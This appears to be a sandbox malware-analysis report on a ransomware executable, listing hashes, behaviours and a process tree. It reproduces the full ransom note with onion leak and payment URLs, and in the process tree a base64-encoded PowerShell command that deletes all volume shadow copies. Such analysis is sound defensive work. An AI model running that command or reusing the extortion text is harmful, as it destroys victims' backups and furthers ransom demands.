Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 07:59

General

  • Target

    1638d7ce9e804cd3e017fe2d8effa0d0d48aa74baa93c8c50f1927bc25fcd281.exe

  • Size

    114KB

  • MD5

    5a38c1570c196b855ef2ce54986efae4

  • SHA1

    f792d8798fc1fc32e9cfc2cdf0f635d178e4c5a2

  • SHA256

    1638d7ce9e804cd3e017fe2d8effa0d0d48aa74baa93c8c50f1927bc25fcd281

  • SHA512

    8382b88202d6a3c10dcbe971c789a2cb8d0b3b0b48bced1df8d32e89661f0262bc50b39426db2a7cfc549763c5579c203db9b2ce88186b9f75550f6dfbf4a6b8

Score
10/10

Malware Config

Extracted

Path

C:\fmf5s773-readme.txt

Ransom Note
[+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension fmf5s773. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, we downloaded vast amount of data from your network which will be posted here http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/63 if you not cooperate with us [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A3131A20B8F1ADDA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/A3131A20B8F1ADDA Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: cFoMaHUN9L9CnjTO57v0SWRiI4ett9ZbRHAViv/m7tqkx/5OajfylJ4BdBL65qtl CDpoNsDs2ZEN8pgaXJc135vJyKP0bILotS9kZIbeaWXamHhfgCBHBVDiyY16VXfo A92OnqnSwy2aB5akXN38PnhITe/6+591P5UW25stKanNhkg4ABUtpNXmbg0BDvkt p2ZsuBTa5sHb5hrZNqa1VyF7KhrvgtN6g8AsSB9RHMKKVJ5p9WkgK0Ikvc922PPM ivuFaiKV2MTJNAnWXZ8VppFx9utvlpK8lOq0uP4T0ARkaE3WPP47znTUo8wBpGIV hbiPpQ7pOghnVCug1ovXeaU3j30fN6LTJXN64W1dt4ImCyiG0Q1U7D818PPpX1S2 w43ajm3jzqDprU4aQU0CR3G99xeujUD5qJPFcaASEQNaR0ag+yBBNkNhz3UDTx5k tGcTuduFgzyLqA3lrqVHM+eyvW77AE+YGSxAHUrG/qe5HOwgCDGs65qwm8orHoh2 yHEKSM5dOMRA0jLA7ziXBPSUHx5RHR1oNxmGpGX3DrBhz8v2wXxzEyG1YkSj1P0z fEarM6bkqu9Iq0U8hdng3oJP9KDce80/Tw4zowgUkE0F8bQqYSrg3R5BrFAVIbx9 z7W8s3zvY3YrnMI74NiwuiHYNJB4vkey0JZk+Lne5TB/o3tAekf0bEhva43HtX1C Zr/EucYmMa50PzP6LxYvUpnSbMJQqz9vHfvKFjBgKjzEGkBuTX3BjliUX/vrPG1i /+OnpDfVQ6LjdL1VJeDURlxcK26lab7HFdAbaUVD2XnxVJeuIYp74nd6LP1Oh4vm 0kCZaWgs9hPM46Qgn/9NlXptyF/+xv9+9EmszpmWiODDIq2HsAgxo6Mdlcjb2/a4 JAqXVZDMUfZwrCntd7FVlv5Zm0mqVfYDdz0QFq4+gW8etZhLos1ehlr8uHbICtht E+l2Q+9WkxxxgqiBOk58vZcClJFE2wZeW0WsrQWBTnKqR2jCwjUN3EJ4GruSVQMY NuN013APniuovBI0Wk51YM38giV1EZZYlDbP9ZvffOI/E95Af6xFwBouSwQCAArq QbrtwfJS/WmR2kMsc9KmGduHiCZCkKqCQDB/1bApgC6n1DsCNBcB3RMlHGQH6hAU YZOyIVgCxJJO8PI4vHlqfOKECuj29QAgWUvAV1xc+rCdDUUlNUDyHYUTQ5whn/Tc HCwA7kjVL905Ktjuq90BBX9PC1nl6geEVm9W3860M1thOOpy7fEBTYa7fs7YjA1R wIBuscji2DVadIH0mz1m18//my/wn1AUIRyhWw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/63

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A3131A20B8F1ADDA

http://decryptor.cc/A3131A20B8F1ADDA

Signatures

  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1638d7ce9e804cd3e017fe2d8effa0d0d48aa74baa93c8c50f1927bc25fcd281.exe
    "C:\Users\Admin\AppData\Local\Temp\1638d7ce9e804cd3e017fe2d8effa0d0d48aa74baa93c8c50f1927bc25fcd281.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:952
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1440
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1052

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/952-56-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp
      Filesize

      8KB

    • memory/952-58-0x0000000002940000-0x0000000002942000-memory.dmp
      Filesize

      8KB

    • memory/952-59-0x0000000002942000-0x0000000002944000-memory.dmp
      Filesize

      8KB

    • memory/952-60-0x0000000002944000-0x0000000002947000-memory.dmp
      Filesize

      12KB

    • memory/952-57-0x000007FEF2CE0000-0x000007FEF383D000-memory.dmp
      Filesize

      11.4MB

    • memory/952-61-0x000000000294B000-0x000000000296A000-memory.dmp
      Filesize

      124KB

    • memory/1604-55-0x00000000762C1000-0x00000000762C3000-memory.dmp
      Filesize

      8KB